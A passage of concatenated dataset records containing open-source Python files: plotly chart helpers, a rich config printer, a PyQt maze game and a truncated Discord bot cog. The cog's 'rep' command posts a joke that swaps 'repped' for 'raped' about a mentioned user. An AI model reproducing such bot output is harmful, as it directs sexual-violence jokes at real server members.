fig.add_trace(\n go.Histogram(\n x=app_data.predict_proba,\n xbins=dict(\n start=0,\n end=1,\n size=0.01,\n ),\n ),\n )\n\n fig.update_xaxes(range=[0, 1], title='Threshold')\n fig.update_yaxes(title='Count')\n fig.update_layout(\n paper_bgcolor='rgb(48, 48, 48)',\n plot_bgcolor='rgb(48, 48, 48)',\n hovermode='x unified',\n margin=dict(l=0, r=0, t=25, b=0),\n font=dict(color='rgb(242, 242, 242)', family='Inter'),\n xaxis=dict(\n showline=True,\n linewidth=1,\n linecolor='rgb(242, 242, 242)',\n ),\n yaxis=dict(\n showline=True,\n linewidth=1,\n linecolor='rgb(242, 242, 242)',\n ),\n )\n\n return fig\n\n\ndef plot_tpr_fpr():\n fig = go.Figure()\n\n fig.add_trace(\n go.Scatter(\n x=app_data.thresholds_roc,\n y=app_data.fpr_arr,\n mode='lines',\n name='False Positive Rate',\n ),\n )\n\n fig.add_trace(\n go.Scatter(\n x=app_data.thresholds_roc,\n y=app_data.tpr_arr,\n mode='lines',\n name='True Positive Rate',\n ),\n )\n\n fig.update_xaxes(range=[0, 1], title='Threshold')\n fig.update_yaxes(range=[0, 1.05], title='Rate')\n fig.update_layout(\n margin=dict(l=0, r=25, t=50, b=50),\n paper_bgcolor='rgb(48, 48, 48)',\n plot_bgcolor='rgb(48, 48, 48)',\n hovermode='x unified',\n legend=dict(\n orientation='h',\n yanchor='bottom',\n y=1.02,\n xanchor='left',\n x=0,\n ),\n xaxis=dict(\n showline=True,\n linewidth=1,\n linecolor='rgb(242, 242, 242)',\n ),\n yaxis=dict(\n showline=True,\n linewidth=1,\n linecolor='rgb(242, 242, 242)',\n ),\n font=dict(color='rgb(242, 242, 242)', family='Inter'),\n )\n\n return fig\n\n\ndef plot_roc_auc():\n fig = go.Figure()\n\n fig.add_trace(\n go.Scatter(\n x=app_data.fpr_arr,\n y=app_data.tpr_arr,\n fill='tozeroy',\n ),\n )\n\n fig.add_shape(\n type='line',\n line=dict(\n dash='dash',\n color='rgb(242, 242, 242)',\n ),\n x0=0,\n y0=0,\n x1=1,\n y1=1,\n )\n\n fig.update_layout(\n xaxis=dict(\n title='False Positive Rate',\n range=[0, 1],\n tickmode='array',\n tickvals=[0, 0.25, 0.5, 0.75, 1],\n ticktext=['0', '0.25', '0.5', '0.75', '1'],\n showline=True,\n linewidth=1,\n linecolor='rgb(242, 242, 242)',\n ),\n yaxis=dict(\n title='True Positive Rate',\n range=[0, 1.05],\n tickmode='array',\n tickvals=[0, 0.25, 0.5, 0.75, 1],\n ticktext=['0', '0.25', '0.5', '0.75', '1'],\n showline=True,\n linewidth=1,\n linecolor='rgb(242, 242, 242)',\n ),\n margin=dict(l=0, r=0, t=50, b=50),\n paper_bgcolor='rgb(48, 48, 48)',\n plot_bgcolor='rgb(48, 48, 48)',\n hovermode='x unified',\n font=dict(color='rgb(242, 242, 242)', family='Inter'),\n )\n\n return fig\n\n\ndef plot_precision_recall():\n fig = go.Figure()\n\n fig.add_trace(\n go.Scatter(\n x=app_data.recall_arr,\n y=app_data.precision_arr,\n fill='tozeroy',\n ),\n )\n\n fig.add_shape(\n type='line',\n line=dict(\n dash='dash',\n color='rgb(242, 242, 242)',\n ),\n x0=0,\n x1=1,\n y0=1,\n y1=0,\n )\n\n fig.update_layout(\n margin=dict(l=0, r=0, t=50, b=50),\n xaxis=dict(\n title='Recall',\n range=[0, 1],\n tickmode='array',\n tickvals=[0, 0.25, 0.5, 0.75, 1],\n ticktext=['0', '0.25', '0.5', '0.75', '1'],\n constrain='domain',\n showline=True,\n linewidth=1,\n linecolor='rgb(242, 242, 242)',\n ),\n yaxis=dict(\n title='Precision',\n range=[0, 1.05],\n tickmode='array',\n tickvals=[0, 0.25, 0.5, 0.75, 1],\n ticktext=['0', '0.25', '0.5', '0.75', '1'],\n showline=True,\n linewidth=1,\n linecolor='rgb(242, 242, 242)',\n ),\n paper_bgcolor='rgb(48, 48, 48)',\n plot_bgcolor='rgb(48, 48, 48)',\n hovermode='x unified',\n font=dict(color='rgb(242, 242, 242)', family='Inter'),\n )\n\n return fig\n\n\ndef plot_confusion_matrix(type=False):\n tn, fp, fn, tp = app_data.tn, app_data.fp, app_data.fn, app_data.tp\n\n fig = (\n _sankey(\n [\n [tn, fp],\n [fn, tp],\n ],\n )\n if type\n else _heatmap([[fn, tp], [tn, fp]], 20)\n )\n\n if not type:\n fig.update_layout(\n xaxis_title='Predicted label',\n yaxis_title='True label',\n xaxis=dict(\n tickmode='array',\n tickvals=[0, 1],\n ticktext=['0', '1'],\n ),\n yaxis=dict(\n tickmode='array',\n tickvals=[0, 1],\n ticktext=['1', '0'],\n ),\n )\n\n fig.update_layout(\n margin=dict(l=0, r=0, t=50, b=50),\n font=dict(color='rgb(242, 242, 242)', family='Inter'),\n xaxis=dict(tickfont=dict(size=14, color='rgb(242, 242, 242)')),\n yaxis=dict(tickfont=dict(size=14, color='rgb(242, 242, 242)')),\n )\n\n return fig\n\n\ndef plot_corr_matrix():\n fig = _heatmap(np.rot90(app_data.corr.values), 10)\n\n fig.update_layout(\n width=800,\n height=700,\n xaxis=dict(\n tickmode='array',\n tickvals=[i for i in range(len(app_data.corr.columns))],\n ticktext=app_data.corr.columns.values,\n tickangle=45,\n ),\n yaxis=dict(\n tickmode='array',\n tickvals=[i for i in range(len(app_data.corr.columns))],\n ticktext=app_data.corr.columns.values[::-1],\n ),\n font=dict(color='rgb(242, 242, 242)', family='Inter'),\n margin=dict(l=0, r=0, t=50, b=50),\n )\n\n return fig\n\n\ndef plot_feature_importance():\n fig = make_subplots(specs=[[{'secondary_y': True}]])\n\n fig.add_trace(\n go.Bar(\n x=[0.87 for i in app_data.feature_importance.importance],\n y=app_data.feature_importance.index,\n orientation='h',\n width=0.01,\n ),\n )\n\n fig.add_trace(\n go.Bar(\n x=app_data.feature_importance.importance,\n y=app_data.feature_importance.index,\n orientation='h',\n name='Feature importance',\n text=[f'{i*100:.2f}%' for i in app_data.feature_importance.importance],\n hovertemplate='%{y} importance: %{text}',\n textposition='none',\n hoverlabel=dict(\n font=dict(\n size=16,\n family='Inter',\n ),\n ),\n marker_color='#636EFA',\n ),\n secondary_y=False,\n )\n\n fig.add_trace(\n go.Bar(\n x=[1 for i in app_data.feature_importance.importance],\n y=app_data.feature_importance.index,\n orientation='h',\n marker_color='rgba(0, 0, 0, 0)',\n marker_line=dict(width=0),\n text=[f'{i*100:.2f}%' for i in app_data.feature_importance.importance],\n textfont=dict(\n color='rgb(242, 242, 242)',\n size=14,\n family='Inter',\n ),\n hovertemplate='%{y} importance: %{text}',\n hoverlabel=dict(\n align='left',\n namelength=-1,\n font=dict(\n size=16,\n family='Inter',\n ),\n ),\n ),\n )\n\n fig.update_layout(\n paper_bgcolor='rgb(48, 48, 48)',\n plot_bgcolor='rgb(48, 48, 48)',\n margin=dict(l=0, r=0, t=25, b=50),\n xaxis=dict(\n title='Importance',\n range=[0, 1],\n showticklabels=False,\n showgrid=False,\n ),\n yaxis=dict(\n title='Feature',\n showgrid=False,\n tickfont=dict(size=14),\n categoryorder='total ascending',\n ),\n showlegend=False,\n height=600,\n dragmode=False,\n font=dict(color='rgb(242, 242, 242)', family='Inter'),\n barmode='overlay',\n )\n\n return fig\n\n\ndef plot_loss():\n fig = go.Figure()\n\n fig.add_trace(\n go.Scatter(\n x=[i for i in range(len(app_data.train_loss))],\n y=app_data.train_loss,\n name='Train loss',\n mode='lines',\n line=dict(color='#636EFA'),\n ),\n )\n\n fig.add_trace(\n go.Scatter(\n x=[i for i in range(len(app_data.val_loss))],\n y=app_data.val_loss,\n name='Validation loss',\n mode='lines',\n line=dict(color='#EF553B'),\n ),\n )\n\n fig.update_layout(\n margin=dict(l=0, r=0, t=50, b=75),\n xaxis=dict(\n title='Iteration',\n constrain='domain',\n showline=True,\n linewidth=1,\n linecolor='rgb(242, 242, 242)',\n ),\n yaxis=dict(\n title='Loss',\n showline=True,\n linewidth=1,\n linecolor='rgb(242, 242, 242)',\n ),\n legend=dict(\n orientation='h',\n yanchor='bottom',\n y=1.02,\n xanchor='left',\n x=0,\n ),\n height=600,\n paper_bgcolor='rgb(48, 48, 48)',\n plot_bgcolor='rgb(48, 48, 48)',\n hovermode='x unified',\n font=dict(color='rgb(242, 242, 242)', family='Inter'),\n )\n\n return fig\n\n\ndef _heatmap(cm, font_size):\n fig = go.Figure(\n data=go.Heatmap(\n z=cm,\n text=[np.round(i, 2) for i in cm],\n texttemplate='%{text}',\n textfont={'size': font_size},\n colorscale='RdBu',\n ),\n )\n\n fig.update_layout(\n width=700,\n height=600,\n paper_bgcolor='rgb(48, 48, 48)',\n plot_bgcolor='rgb(48, 48, 48)',\n font=dict(color='rgb(242, 242, 242)', family='Inter'),\n )\n\n return fig\n\n\n# TODO: refactor\ndef _sankey(cm):\n df = (\n pd.DataFrame(\n data=cm,\n index=[f\"Actual {'Negative' if i ==0 else 'Positive'}\" for i in range(len(cm))],\n columns=[f\"Predicted {'Negative' if i ==0 else 'Positive'}\" for i in range(len(cm))],\n )\n .stack()\n .reset_index()\n .rename(\n columns={\n 'level_0': 'source',\n 'level_1': 'target',\n 0: 'value',\n },\n )\n .assign(\n colour=lambda _df: _df.apply(\n lambda x: 'rgba(211,255,216,0.6)'\n if x.source.split()[-1] == x.target.split()[-1]\n else 'rgba(245,173,168,0.6)',\n axis=1,\n ),\n )\n )\n\n labels = pd.concat([df.source, df.target]).unique()\n\n labels_indices = {label: index for index, label in enumerate(labels)}\n\n df[['source', 'target']] = df[['source', 'target']].applymap(\n lambda x: labels_indices[x],\n )\n\n df['tooltip'] = df.apply(\n lambda x: f\"{x['value']} True {labels[x['target']].split()[-1]} instances\"\n if x['colour'] == 'rgba(211,255,216,0.6)'\n else f\"{x['value']} False {labels[x['source']].split()[-1]} instances\",\n axis=1,\n )\n\n fig = go.Figure(\n data=[\n go.Sankey(\n node=dict(\n pad=20,\n thickness=20,\n line=dict(color='black', width=1.0),\n label=labels,\n hovertemplate='%{label} has total %{value:d} instances',\n ),\n link=dict(\n source=df.source,\n target=df.target,\n value=df.value,\n color=df.colour,\n customdata=df['tooltip'],\n hovertemplate='%{customdata}',\n hoverlabel=dict(\n font=dict(\n size=16,\n color='rgb(242, 242, 242)',\n family='Inter',\n ),\n bgcolor='rgb(48, 48, 48)',\n ),\n ),\n ),\n ],\n )\n\n fig.update_layout(\n width=700,\n height=650,\n font_size=16,\n hoverlabel=dict(\n font_size=16,\n ),\n paper_bgcolor='rgb(48, 48, 48)',\n plot_bgcolor='rgb(48, 48, 48)',\n font=dict(color='rgb(242, 242, 242)', family='Inter'),\n )\n\n return fig\n","repo_name":"AlimU11/Sber-Avtopodpiska","sub_path":"dev/dashboard/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":14810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"2510875016","text":"import rich\nimport rich.syntax\nimport rich.tree\n\nfrom typing import *\nfrom omegaconf import DictConfig, OmegaConf\n\ndef print_config_tree(cfg: DictConfig,\n print_order: Sequence[str] = (\n \"algo\",\n \"Env\",\n \"GoalDS\",\n \"logger\"\n )):\n style = \"dim\"\n tree = rich.tree.Tree(\"CONFIG\", style=style, guide_style=style)\n queue = []\n for field in print_order:\n if field in cfg:\n queue.append(field)\n for field in cfg:\n if field not in queue:\n queue.append(field)\n for field in queue:\n branch = tree.add(field, style=style, guide_style=style)\n config_group = cfg[field]\n if isinstance(config_group, DictConfig):\n branch_content = OmegaConf.to_yaml(config_group, resolve=False)\n else:\n branch_content = str(config_group)\n branch.add(rich.syntax.Syntax(branch_content, \"yaml\", line_numbers=True))\n rich.print(tree)\n ","repo_name":"skylooop/AILOT","sub_path":"utils/rich_utils.py","file_name":"rich_utils.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"44569786280","text":"import sys\nimport random\nimport json\nimport traceback\nimport os.path\n\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.uic import loadUi\nfrom PyQt5.QtCore import *\n\nfrom lib.mazemaker import debug_print\nfrom mazegui import MazeGUI\nfrom lib.characters import *\nfrom lib.util import *\nfrom config import *\n\nclass MazeGame(MazeGUI):\n \"\"\"\n Subclass of the GUI maze app with custom controls.\n \"\"\"\n\n def __init__(self, app, uifile):\n # Define variables.\n self.fuel_timer = None\n self.player = None\n self.sprites = []\n self.started = False\n self.fuel = None\n self.starting_fuel = None\n self.levels = []\n\n super().__init__(app, uifile)\n self.reset_state()\n\n def _sync_level_state(self):\n \"\"\"Syncs level settings with the configuration fields.\"\"\"\n # Update the level settings: darkness, number of fuel packs, number of enemies, etc.\n # If no level is being loaded, fetch these values from our UI. But, also update the UI\n # elements if any values change due to level loading.\n\n self.use_darkness = self.leveldata.get('darkness', self.ui.enable_darkness.isChecked())\n self.use_fuel = self.leveldata.get('use_fuel', self.ui.enable_fuel.isChecked())\n self.ui.enable_darkness.setChecked(self.use_darkness)\n self.ui.enable_fuel.setChecked(self.use_fuel)\n\n caption = self.leveldata.get(\"caption\", welcome_caption)\n self.ui.caption.setText(caption)\n\n # Update static start / finish settings, but only if it has changed.\n\n self.static_start = self.leveldata.get('static_start', self.static_start)\n self.static_finish = self.leveldata.get('static_finish', self.static_finish)\n\n # Clear the sprites list.\n self.sprites.clear()\n self.checkpoints_hit = 0\n\n def _get_unused_points(self):\n \"\"\"Returns all points that aren't the start or finish.\"\"\"\n allowed_points = self.maze.all_items()\n allowed_points.remove(self.mg.start)\n allowed_points.remove(self.mg.finish)\n return allowed_points\n\n def _get_unused_endpoints(self):\n \"\"\"Returns all end points that aren't the start or finish.\"\"\"\n unused_endpoints = list(self.mg.end_points)\n try:\n unused_endpoints.remove(self.mg.start)\n except ValueError:\n pass\n\n try:\n unused_endpoints.remove(self.mg.finish)\n except ValueError:\n pass\n\n return unused_endpoints\n\n def make_maze(self, reset_state=False):\n \"\"\"\n Generates the maze.\n \"\"\"\n self._sync_level_state()\n\n if reset_state:\n # Reset the score, but only if we've been told to do\n # so.\n debug_print(\"make_maze: resetting state\")\n self.reset_state()\n\n super().make_maze()\n\n if self.player:\n # Reset the player's position, if one exists.\n self.player.reset_coords()\n # Focus the display, so arrow keys instantly work.\n self.display.setFocus()\n\n # Re-add the player into the sprites list.\n self.sprites.append(self.player)\n\n self._make_fuel_packs()\n self._make_enemies()\n self._make_checkpoints()\n\n def _make_fuel_packs(self):\n # Fuel packs count cannot be greater than the amount of tiles in the maze\n # (excluding start and finish points)!\n self.fuelpacks_count = self.leveldata.get('fuel_packs', self.ui.fuelpacks_spinbox.value())\n available_points = self._get_unused_points()\n self.fuelpacks_count = min(len(available_points), self.fuelpacks_count)\n self.ui.fuelpacks_spinbox.setValue(self.fuelpacks_count)\n\n for point in random.sample(available_points, self.fuelpacks_count):\n debug_print('Spawning fuel pack at (%s, %s)' % (point.x, point.y))\n fp = FuelPack(self, point.x, point.y)\n self.sprites.append(fp)\n\n def _make_enemies(self):\n available_points = self._get_unused_points()\n self.enemy_count = self.leveldata.get('enemies', self.ui.enemies_spinbox.value())\n self.enemy_count = min(len(available_points), self.enemy_count)\n self.ui.enemies_spinbox.setValue(self.enemy_count)\n\n for point in random.sample(available_points, self.enemy_count):\n fp = Enemy(self, point.x, point.y)\n self.sprites.append(fp)\n\n def _make_checkpoints(self):\n # For checkpoints, choose random dead ends on the maze.\n # Don't allow checkpoints to spawn on the start or finish, however.\n valid_endpoints = self._get_unused_endpoints()\n\n self.checkpoint_count = self.leveldata.get('checkpoints', self.ui.checkpoints_spinbox.value())\n debug_print(\"_make_checkpoints: Found %s endpoints, wanted %s\" % (len(valid_endpoints), self.checkpoint_count))\n self.checkpoint_count = min(len(valid_endpoints), self.checkpoint_count)\n self.ui.checkpoints_spinbox.setValue(self.checkpoint_count)\n\n for point in random.sample(valid_endpoints, self.checkpoint_count):\n fp = Checkpoint(self, point.x, point.y)\n self.sprites.append(fp)\n\n def draw_maze(self, painter, width, height):\n retcode = super().draw_maze(painter, width, height)\n\n if retcode:\n for character in self.sprites:\n #debug_print(\"Drawing character %s\" % character)\n character.draw(painter)\n return retcode\n\n def reset_state(self, level=0):\n \"\"\"\n Resets the game state (fuel, game over setting, levels list, etc.).\n \"\"\"\n self.update_fuel(0, reset=True)\n self.is_game_over = False\n\n self.current_level = level\n self.update_current_level()\n\n def update_current_level(self):\n \"\"\"Updates the current level display.\"\"\"\n level = self.current_level+1\n text = \"Current level: %s\" % level\n\n self.ui.current_level_text.setText(text)\n\n def setup_elements(self):\n \"\"\"\n Initializes the game by generating a maze and binding widgets to their\n corresponding functions.\n \"\"\"\n # Explicitly call make_maze() with reset_state set to True. For some reason,\n # the implicit reset_state=True doesn't work when binding widgets.\n def generatebutton():\n self.clear_settings()\n self.make_maze(reset_state=True)\n self.ui.generate_button.clicked.connect(generatebutton)\n self.make_maze()\n\n # Export levels button\n self.ui.export_levels_button.clicked.connect(self.export_settings)\n # Load levels button\n self.ui.load_levels_button.clicked.connect(self.load_settings)\n # Clear levels button\n self.ui.clear_levels_button.clicked.connect(self.clear_settings)\n # Load progress button\n self.ui.load_progress_button.clicked.connect(self.load_savefile)\n # Save progress button\n self.ui.save_progress_button.clicked.connect(self.export_savefile)\n\n # Initialize our character class, and bind it to the maze game so that\n # it is drawn whenever requested.\n self.player = PlayerCharacter(self)\n self.player.bind()\n self.sprites.append(self.player)\n\n # Start a threaded loop to decrease the fuel count gradually,\n # if darkness is enabled.\n def decrease_fuel_loop():\n if self.has_quit.is_set():\n return\n\n if self.use_fuel and not self.is_game_over:\n self.update_fuel(-1)\n\n if self.fuel_timer is None:\n # Only spawn this thread ONCE.\n self.fuel_timer = QTimer()\n self.fuel_timer.timeout.connect(decrease_fuel_loop)\n self.fuel_timer.start(100)\n\n self.ui.show()\n\n def update_fuel(self, amount, reset=False):\n \"\"\"\n Updates the fuel count by the given amount, fuel being essentially the player\n needs to survive. If the replace option is enabled, the amount number is ignored\n and the fuel count reset to its original value.\n \"\"\"\n\n if reset:\n self.starting_fuel = self.leveldata.get('starting_fuel',\n self.ui.starting_fuel_spinbox.value())\n fuel = self.fuel = amount or self.starting_fuel\n self.ui.starting_fuel_spinbox.setValue(self.starting_fuel)\n debug_print(\"Resetting self.fuel to %s, self.starting_fuel to %s\" % (fuel,\n self.starting_fuel))\n self.ui.fuel_remaining.setValue(fuel)\n self.ui.fuel_remaining.setMaximum(self.starting_fuel)\n return\n\n if self.fuel is None:\n return # Fuel count not initialized yet, ignore.\n elif (self.fuel + amount) > self.starting_fuel:\n # Don't allow the fuel count to go over the maximum (this\n # breaks the progress bar widget)\n self.fuel = self.starting_fuel\n\n self.fuel += amount\n if self.fuel < 0:\n # If the fuel remaining becomes negative, the player loses the game.\n self.game_over()\n return\n\n self.ui.fuel_remaining.setValue(self.fuel)\n self.ui.fuel_remaining.update()\n\n def game_over(self, win=False):\n \"\"\"Ends the game.\"\"\"\n\n if win:\n caption = self.leveldata.get('win_caption', 'You win! Your score: %s')\n else:\n caption = self.leveldata.get('death_caption',\n 'GAME OVER, press Generate to replay or Load level settings to reload a level pack.\\n'\n 'Your score: %s')\n\n # Calculate the player's score based on the amount of levels completed,\n # adding the fuel remaining to it.\n self.score = self.current_level*100 + (self.fuel // 2)\n self.score = max(0, self.score)\n try:\n # Try to substitute the score into the caption, but fail silently if there\n # is no field for it.\n caption %= self.score\n except TypeError:\n pass\n\n self.ui.caption.setText(caption)\n self.is_game_over = True\n self.ui.fuel_remaining.update()\n\n def clear_settings(self):\n # Clear loaded level.\n self.leveldata = {}\n self.levels = []\n self.reset_state()\n\n def load_settings(self):\n \"\"\"Loads maze generator settings from file.\"\"\"\n\n filepicker = QFileDialog()\n filepicker.setWindowTitle('Load settings')\n # Only show .json files in the dialog\n filepicker.setDefaultSuffix('json')\n filepicker.setNameFilter(\"Maze Generator Config files (*.json)\")\n\n # Set the default folder to presets/\n presets_folder = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'presets')\n filepicker.setDirectory(presets_folder)\n\n filepicker.exec_()\n\n # Fetch the filename from the dialog.\n files = filepicker.selectedFiles()\n\n if not files:\n # The user hit cancel or failed to get a valid filename. Abort.\n return\n\n filename = files[0]\n\n # Reset the level count to 0 (first level).\n self.reset_state(level=0)\n\n try:\n with open(filename) as f:\n # Open the file and load as JSON.\n self.levels = json.load(f)\n debug_print('Loaded levels: %s' % self.levels)\n self.leveldata = self.levels[0]\n except:\n # Print the exact error to the console.\n traceback.print_exc()\n QMessageBox.critical(self.ui, \"Error\", \"Failed to load given level.\")\n return\n\n # Clear select_tile state to prevent conflicts.\n self.select_tile('clear')\n\n # Reset the fuel count to the one the level data defines.\n self.update_fuel(0, reset=True)\n\n # Draw the maze with the settings from the first level.\n self.make_maze()\n\n def fetch_level_data(self):\n \"\"\"Generates level data using the current editor settings.\"\"\"\n return [{'static_start': self.static_start,\n 'static_finish': self.static_finish,\n 'darkness': self.use_darkness,\n 'fuel_packs': self.fuelpacks_count,\n 'width': self.mazewidth,\n 'height': self.mazeheight,\n 'enemies': self.enemy_count,\n 'use_fuel': self.use_fuel,\n 'min_difficulty': self.min_difficulty,\n 'gunshot_fuel': self.ui.gunshot_fuel_spinbox.value(),\n 'enemy_move_delay': self.ui.move_delay_spinbox.value(),\n 'fuel_pack_amount': self.ui.fuel_pack_amount_spinbox.value(),\n 'starting_fuel': self.starting_fuel,\n 'finish_bonus': self.ui.finish_bonus_spinbox.value(),\n # XXX perhaps make this configurable?\n 'caption': '',\n 'checkpoints': self.checkpoint_count}]\n\n def export_settings(self):\n \"\"\"Exports the current maze generator settings to file.\"\"\"\n self.make_maze(reset_state=True)\n\n filepicker = QFileDialog()\n filepicker.setWindowTitle('Export settings')\n\n # Only show .json files in the dialog\n filepicker.setDefaultSuffix('json')\n\n # Set this file picker to be a Save file dialog instead of an Open file dialog.\n filepicker.setAcceptMode(QFileDialog.AcceptSave)\n\n filepicker.setNameFilter(\"Maze Generator Config files (*.json)\")\n presets_folder = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'presets')\n filepicker.setDirectory(presets_folder)\n filepicker.exec_()\n\n # Fetch the filename from the dialog.\n files = filepicker.selectedFiles()\n\n if not files:\n # The user hit cancel or failed to get a valid filename. Abort.\n return\n\n filename = files[0]\n\n # Put all the level options as a dict, and export as JSON.\n leveldata = self.levels or self.fetch_level_data()\n\n try:\n with open(filename, 'w') as f:\n json.dump(leveldata, f, sort_keys=True)\n except OSError:\n traceback.print_exc()\n QMessageBox.critical(self.ui, \"Error\", \"Failed to export given level.\")\n return\n\n def load_savefile(self):\n \"\"\"Loads a game progress save from file.\"\"\"\n filepicker = QFileDialog()\n filepicker.setWindowTitle('Load save file')\n # Only show .tasave files in the dialog\n filepicker.setDefaultSuffix('tasave')\n filepicker.setNameFilter(\"TrulyAmazed save files (*.tasave)\")\n saves_folder = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'saves')\n filepicker.setDirectory(saves_folder)\n\n filepicker.exec_()\n\n # Fetch the filename from the dialog.\n files = filepicker.selectedFiles()\n\n if not files:\n # The user hit cancel or failed to get a valid filename. Abort.\n return\n\n # Clear select_tile state to prevent conflicts.\n self.select_tile('clear')\n\n filename = files[0]\n try:\n with open(filename) as f:\n # Open the file and load as JSON.\n savedata = json.load(f)\n debug_print('Loaded save data: %s' % savedata)\n\n # Populate the level data from the save file.\n self.levels = savedata['levels']\n try:\n self.leveldata = self.levels[savedata['current_level']]\n except IndexError: # We reached the last level, use that.\n self.leveldata = self.levels[-1]\n\n # Reset the level count and the fuel.\n self.reset_state(savedata['current_level'])\n self.update_fuel(savedata['fuel'], reset=True)\n self.make_maze(reset_state=False)\n except:\n # Print the exact error to the console.\n traceback.print_exc()\n QMessageBox.critical(self.ui, \"Error\", \"Failed to load save file.\")\n return\n\n def export_savefile(self):\n \"\"\"Saves the current game progress to file.\"\"\"\n if self.is_game_over:\n QMessageBox.critical(self.ui, \"Error\", \"Nothing to save if you're dead!\")\n return\n\n filepicker = QFileDialog()\n filepicker.setWindowTitle('Export save file')\n\n # Only show .tasave files in the dialog\n filepicker.setDefaultSuffix('tasave')\n\n # Set this file picker to be a Save file dialog instead of an Open file dialog.\n filepicker.setAcceptMode(QFileDialog.AcceptSave)\n\n filepicker.setNameFilter(\"TrulyAmazed save files (*.tasave)\")\n saves_folder = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'saves')\n filepicker.setDirectory(saves_folder)\n filepicker.exec_()\n\n # Fetch the filename from the dialog.\n files = filepicker.selectedFiles()\n\n if not files:\n # The user hit cancel or failed to get a valid filename. Abort.\n return\n\n filename = files[0]\n\n # Put all the level options as a dict, and export as JSON.\n savedata = {'levels': self.levels or self.fetch_level_data(), 'current_level': self.current_level, 'fuel': self.fuel}\n\n try:\n with open(filename, 'w') as f:\n json.dump(savedata, f, sort_keys=True)\n except OSError:\n traceback.print_exc()\n QMessageBox.critical(self.ui, \"Error\", \"Failed to export save file.\")\n return\n\nif __name__ == '__main__':\n # Start the application by initializing a QApplication instance.\n app = QApplication(sys.argv)\n\n # Initialize the GUI instance.\n gui = MazeGame(app, 'mazegame.ui')\n\n # Handle quits properly, exiting using the GUI app's exit code.\n sys.exit(app.exec_())\n","repo_name":"jlu5/trulyamazed","sub_path":"mazegame.py","file_name":"mazegame.py","file_ext":"py","file_size_in_byte":17788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"32497370254","text":"import json\nimport math\nimport urllib\nfrom datetime import timedelta\n\nimport aiohttp\nimport dateutil.parser\nimport disnake\nfrom disnake.ext.commands import BucketType, cooldown\n\nfrom bot.bot import command\nfrom cogs.cog import Cog\nfrom utils import wolfram, memes\nfrom utils.utilities import format_timedelta, DateAccuracy, utcnow\n\n\nclass Misc(Cog):\n def __init__(self, bot):\n super().__init__(bot)\n\n @command(aliases=['math'])\n @cooldown(1, 2, type=BucketType.user)\n async def wolfram(self, ctx, *, query):\n \"\"\"Queries a problem to be solved by wolfram alpha\"\"\"\n async with aiohttp.ClientSession() as client:\n await ctx.send(await wolfram.math(query, client,\n self.bot.config.wolfram_key), allowed_mentions=disnake.AllowedMentions.none())\n\n @command(name='say')\n @cooldown(1, 2, BucketType.channel)\n async def say_command(self, ctx, *, words: str):\n \"\"\"Says the text that was put as a parameter\"\"\"\n am = disnake.AllowedMentions.none()\n am.users = [ctx.author]\n await ctx.send('{0} {1}'.format(ctx.author.mention, words[:1950]),\n allowed_mentions=am)\n\n @command(aliases=['twitchquotes'])\n @cooldown(1, 2, type=BucketType.guild)\n async def twitchquote(self, ctx, tts: bool=None):\n \"\"\"Random twitch quote from twitchquotes.com\"\"\"\n async with aiohttp.ClientSession() as client:\n await ctx.send(await memes.twitch_poems(client), tts=tts, allowed_mentions=disnake.AllowedMentions.none())\n\n @command(cooldown_after_parsing=True)\n @cooldown(1, 60, BucketType.user)\n async def rep(self, ctx, user: disnake.Member):\n if ctx.author == user:\n await ctx.send(f'{ctx.author} ~~repped~~ raped ... himself <:peepoWeird:423445885180051467>')\n else:\n await ctx.send(f'{ctx.author} ~~repped~~ raped {user.mention}')\n\n @command()\n @cooldown(1, 5, BucketType.user)\n async def manga(self, ctx, *, manga_name):\n \"\"\"\n Search for manga and return estimated the next release date and the estimated release interval for it\n \"\"\"\n if len(manga_name) > 300:\n await ctx.send('Name too long.')\n return\n\n manga_name = urllib.parse.quote_plus(manga_name)\n async with aiohttp.ClientSession() as client:\n async with client.get(f'https://manga.gachimuchi.men/api/search?query={manga_name}') as r:\n if r.status != 200:\n await ctx.send('Http error. Try again later')\n return\n\n try:\n data = await r.json()\n except (json.decoder.JSONDecodeError, aiohttp.ContentTypeError):\n await ctx.send('Invalid data received. Try again later')\n return\n\n err = data.get('error')\n if err:\n await ctx.send(f'Error while getting data: {err.get(\"message\", \"\")}')\n return\n\n data = data.get('data')\n if not data:\n await ctx.send('Nothing found. Try a different search word')\n return\n\n manga = data['manga']\n\n title = manga['title']\n cover = manga['cover']\n release_interval = manga['releaseInterval']\n estimated_release = manga['estimatedRelease']\n latest_release = manga.get('latestRelease')\n\n description = ''\n\n if manga.get('status') == 1:\n description = 'This manga has finished publishing\\n'\n estimated_release = None\n else:\n if release_interval:\n # These two are always 0\n release_interval.pop('years', None)\n release_interval.pop('months', None)\n release_interval = timedelta(**release_interval)\n release_interval_ = format_timedelta(release_interval, DateAccuracy.Day-DateAccuracy.Hour)\n description += f'Estimated release interval: {release_interval_}\\n'\n\n if estimated_release:\n estimated_release = dateutil.parser.isoparse(estimated_release)\n now = utcnow()\n to_estimate = None\n if estimated_release < now:\n diff = now - estimated_release\n if not release_interval:\n pass\n elif diff.days > 0:\n estimated_release += release_interval * math.ceil(diff/release_interval)\n to_estimate = format_timedelta(estimated_release - now, DateAccuracy.Day - DateAccuracy.Hour)\n else:\n to_estimate = format_timedelta(estimated_release - now, DateAccuracy.Day-DateAccuracy.Hour)\n\n description += f\"Estimated release is on {estimated_release.strftime('%A %H:00, %b %d %Y')} UTC\"\n if to_estimate:\n description += f' which is in {to_estimate}\\n'\n else:\n description += '\\n'\n\n if latest_release:\n latest_release = dateutil.parser.isoparse(latest_release)\n since_latest_release = format_timedelta(utcnow() - latest_release, DateAccuracy.Day - DateAccuracy.Hour)\n description += f'Latest release: {since_latest_release} ago ({latest_release.strftime(\"%A %H:00, %b %d %Y\")})'\n\n if not description:\n description = 'No information available at this time'\n\n embed = disnake.Embed(title=title[:256], description=description)\n if cover:\n embed.set_thumbnail(url=cover)\n\n if estimated_release:\n 